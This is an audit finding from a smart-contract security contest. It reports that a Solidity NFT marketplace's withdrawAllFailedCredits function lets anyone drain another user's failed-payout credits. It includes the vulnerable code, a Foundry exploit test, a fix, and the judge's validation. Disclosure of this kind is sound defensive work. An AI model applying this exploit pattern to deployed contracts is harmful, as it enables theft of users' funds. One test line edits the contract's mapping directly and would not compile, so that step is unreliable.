Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Theft of Failed Transfer Credits via `withdrawAllFailedCredits`

ambitiousdydx

Description

  • The withdrawAllFailedCredits function is intended to provide a mechanism for users to claim ETH that failed to transfer during payouts (e.g., refunds to previous bidders or seller proceeds), by allowing the rightful owner of the credits to withdraw them securely to their address.

  • Due to a logic error, the function fetches the credit amount associated with the specified _receiver but then clears the credits for msg.sender and transfers the amount to msg.sender, allowing an attacker to steal credits from any address by providing the victim's address as _receiver, effectively draining funds meant for others while only affecting their own (possibly zero) credit balance.

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood:

  • Payouts fail for users who are non-ETH-receivable contracts, accumulating credits in the mapping

  • Attackers monitor the contract state or events for non-zero failedTransferCredits balances and execute the theft

Impact:

  • Victims lose their entitled funds (refunds or proceeds), leading to direct financial harm

  • Erosion of platform trust, potential legal issues, and discouragement of contract-based users participating as sellers or bidders

Proof of Concept

Add the following test function into the existing tests in BidBeastsMarketPlaceTest.t.sol

function test_TheftOfFailedCredits() public {
// Step 1: Setup - Mint and list an NFT
_mintNFT();
_listNFT();
​
// Step 2: Simulate a bid to trigger a sale (using buy-now for quick execution)
vm.prank(BIDDER_1);
market.placeBid{value: BUY_NOW_PRICE}(TOKEN_ID);
​
// Step 3: Manually simulate a failed payout to SELLER (in reality, if SELLER rejects ETH)
// For POC, directly set credits as if payout failed
uint256 creditAmount = 4.75 ether; // Approximate seller proceeds after 5% fee on 5 ether
vm.deal(address(market), creditAmount);
vm.prank(address(market));
failedTransferCredits[SELLER] += creditAmount;
​
// Verify credits are set for SELLER
assertEq(market.failedTransferCredits(SELLER), creditAmount, "Credits should be set for SELLER");
​
// Step 4: Attacker steals the credits
address attacker = address(0x5);
vm.deal(attacker, 0); // Ensure attacker starts with 0 balance
uint256 attackerBalanceBefore = attacker.balance;
​
vm.prank(attacker);
market.withdrawAllFailedCredits(SELLER);
​
// Step 5: Verify theft
assertEq(attacker.balance, attackerBalanceBefore + creditAmount, "Attacker received the stolen credits");
assertEq(market.failedTransferCredits(attacker), 0, "Attacker's own credits cleared (was 0)");
assertEq(market.failedTransferCredits(SELLER), creditAmount, "SELLER's credits not cleared, but funds sent to attacker");
}

Recommended Mitigation

Restrict withdrawals to the owner's own credits by adding a require check and correcting the clearing and transfer to use _receiver consistently. This prevents third-party access and ensures secure claims. Alternatively, remove the _receiver parameter entirely and always use msg.sender for simplicity.

function withdrawAllFailedCredits(address _receiver) external {
+ require(msg.sender == _receiver, "Can only withdraw own credits");
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
- failedTransferCredits[msg.sender] = 0;
+ failedTransferCredits[_receiver] = 0;
- (bool success, ) = payable(msg.sender).call{value: amount}("");
+ (bool success, ) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!